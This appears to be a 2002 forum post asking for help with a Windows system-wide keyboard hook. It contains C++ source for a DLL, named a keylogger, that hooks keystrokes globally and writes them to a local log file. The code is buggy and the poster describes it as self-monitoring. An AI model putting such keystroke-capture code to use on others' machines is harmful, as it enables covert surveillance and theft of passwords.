|
-
Dec 22nd, 2002, 02:30 AM
#1
Thread Starter
Hyperactive Member
system wide hook
hi, im trying to make a system wide hook to monitor my computer usage. and it isnt working. ive followed 2 examples, and they say theirs work, but mine doesnt, the dll(hook code)only loads into the process that is calling the dlls hook proceedure. heres my code.
EDIT: ok i got it to load in calculator LOAD_DLL : Keyloggerj.dll at 0x6CF50000. but it doesnt call my keybord proc
Code:
#include <windows.h>
#include <STDIO.H>
#include <IOSTREAM>
#pragma data_seg ("MYSEG")
int fdgfg = 0;
HHOOK hMapObject;
#pragma data_seg()
#pragma comment(linker, "/BASE:1827995648")
HINSTANCE hiModule = 0;
//proto
void Enable();
void DllQuery();
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
void Disable();
char buffer[10000];
char* formatx1 = "%d %d %d";
BOOL APIENTRY DllMain( HINSTANCE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
hiModule = hModule;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
///////////////////////////////////////////////////////////////////////////////////////////////////////
void DllQuery()
{
Enable();
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
void Enable()
{
hMapObject = SetWindowsHookEx(WH_KEYBOARD,&KeyboardProc,hiModule,0);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
FILE * aFile;
wsprintf(buffer,formatx1,nCode,wParam,lParam); //WIN32
aFile = fopen ("c:\Keylog.txt","at");
fputs (buffer,aFile);
fclose(aFile);
CallNextHookEx(hMapObject,nCode,wParam,lParam);
return 0;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
void Disable()
{
UnhookWindowsHookEx(hMapObject);
}
Last edited by Cmdr0Sunburn; Dec 22nd, 2002 at 02:50 AM.
I know a lot oF Vb, expert in C++, and i think in assembly.
MSVC++6.NET
vb6
masm
Windowz Xp
I find my self using this a lot in C++
__asm {
}
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
Click Here to Expand Forum to Full Width
|